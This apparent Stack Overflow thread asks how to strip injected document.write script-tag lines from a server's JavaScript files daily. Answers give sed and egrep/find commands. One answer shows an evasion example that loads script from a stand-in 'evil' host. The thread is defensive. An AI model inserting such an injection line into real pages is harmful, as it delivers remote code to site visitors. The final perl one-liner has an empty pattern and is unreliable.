0

I need to scan all js files in my server and remove the line that contains:

document.write("<script type='text/javascript' src='http://*

I need to set it on cron to do every day. I think i will need to create a shell to do it.

Can you help me?

fedorqui
  • 275,237
  • 103
  • 548
  • 598
btgf
  • 21
  • 5

3 Answers3

1

Probably SED is what you are looking for:

sed -i 's/document\.write[(]"<script type[=].text\/javascript. src[=].http:\/\/./\/\*code removed\*\//g' *.js

My example input file:

document.write("<script type='text/javascript' src='http://*
document.write("<script type='text/javascript' src='http://*
document.write("<script type='text/javascript' src='http://*
asddocument.write("<script type='text/javascript' src='http://*
document.write("<script type='text/javascript' src='http://*asd
asdasd

is transformed into:

/*code removed*/
/*code removed*/
/*code removed*/
asd/*code removed*/
/*code removed*/asd
asdasd

Please keep in mind, that if you want to prevent scripts on your webspace to load additional data, than all of these mechanisms are insuffient!

This (and many other variants) will be a threat, but not matched by these patterns:

var secretVariable = document;
secretVariable.write("<script type='text/javascript' src='http://some.evil.code'/>");
slartidan
  • 20,403
  • 15
  • 83
  • 131
0

If that is the exact line, and you want to remove the entire line (and not just parse out that text), then you can use egrep -v to print all lines except the matching one.

egrep -v "document.write\(\"<script type='text/javascript' src='http://" oldfile > newfile

Here is the find statement to process all .js files:

for f in $(find /directory/path -name '*.js'); do egrep -v "document.write\(\"<script type='text/javascript' src='http://" $f > TT ; mv TT $f ; done
philshem
  • 24,761
  • 8
  • 61
  • 127
  • It is not the exact line, * could be every think. I need to find line like this and then remove the line, note a file – btgf Mar 05 '14 at 14:16
  • @btgf you have `regex` e.g. `every th.*` matches `every thing` and `every think` – Kent Mar 05 '14 at 14:18
  • with `grep -v`, you don't need to match with asterisk. It will already exclude everything before the `*` – philshem Mar 05 '14 at 14:19
  • please see my update. it's without the asterisk and also has escaped characters when necessary: " and (. – philshem Mar 05 '14 at 14:21
  • I also added a recursive way to find all .js files. Good Luck! – philshem Mar 05 '14 at 14:25
0

perl -p -i.bak -e 's///' *.js

would do the same

Dr.Kameleon
  • 22,532
  • 20
  • 115
  • 223
user185899
  • 31
  • 2